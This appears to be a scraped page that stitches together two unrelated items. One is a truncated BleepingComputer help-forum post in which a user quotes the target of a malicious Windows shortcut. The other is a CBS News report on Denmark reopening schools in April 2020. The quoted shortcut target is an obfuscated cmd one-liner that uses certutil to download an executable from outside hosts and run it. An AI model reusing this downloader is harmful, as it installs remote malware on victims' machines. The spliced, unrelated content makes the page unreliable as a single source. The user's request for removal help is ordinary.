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.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputerPosted: 06 Jul 2020 11:33 AM PDT Hi all,Looking for feedback on the likelihood my double clicking of a bad .lnk file caused damage.. When I did double click it, I remember getting a standard windows dialog box. I believe it said the path did not exist or shortcut unavailable.. I'm not finding anything in my startup folder for C:\programdata or my username appdata startup folder...  I ran scans with malwarebytes, Hitman with no results.The .lnk file target was:%ComSpec% /v:on/c(SET V4=/?8ih5Oe0vii2dJ179aaaacabbckbdbhhe=gulches_%PROCESSOR_ARCHITECTURE% !H!&SET H="%USERNAME%.exe"&SET V4adKK47=certutil -urlcache -f https://&IF NOT EXIST !H! (!V4adKK47!izub.fun!V4!||!V4adKK47!de.charineziv.com!V4!&!H!))>nul 2>&1The .lnk file 'start-in' was:"%APPDATA%\Mic…

Attempts to reopen schools in Denmark spark fear among thousands of parents - CBS News

Last Updated Apr 15, 2020 7:14 PM EDT

When Denmark's children began heading back to elementary schools Wednesday, the country's prime minister was there to remind them to keep a safe distance from each other. But nearly 18,000 parents in the nation have signed a petition claiming their children are being used as guinea pigs.

Tamara McGee, an English teacher originally from Tennessee, told CBS News she's worried.

"Kids don't know how to stay away from each other," she said. "My 2-year-old daughter doesn't get that. She wants to hug people, she wants to kiss people."

Denmark isn't alone. In Austria, thousands of small stores were allowed to reopen on Tuesday — and even hard-hit Italy has permitted book shops and children's clothing stores to start trading. In Norway, younger children will go back to school later this month.

"People can go back to at least a little bit of normality," said professor Gabriel Leung, an infectious disease expert in Hong Kong.

Leung told CBS News that governments will likely go through cycles of partially lifting restrictions, then reimposing them if infections spike.

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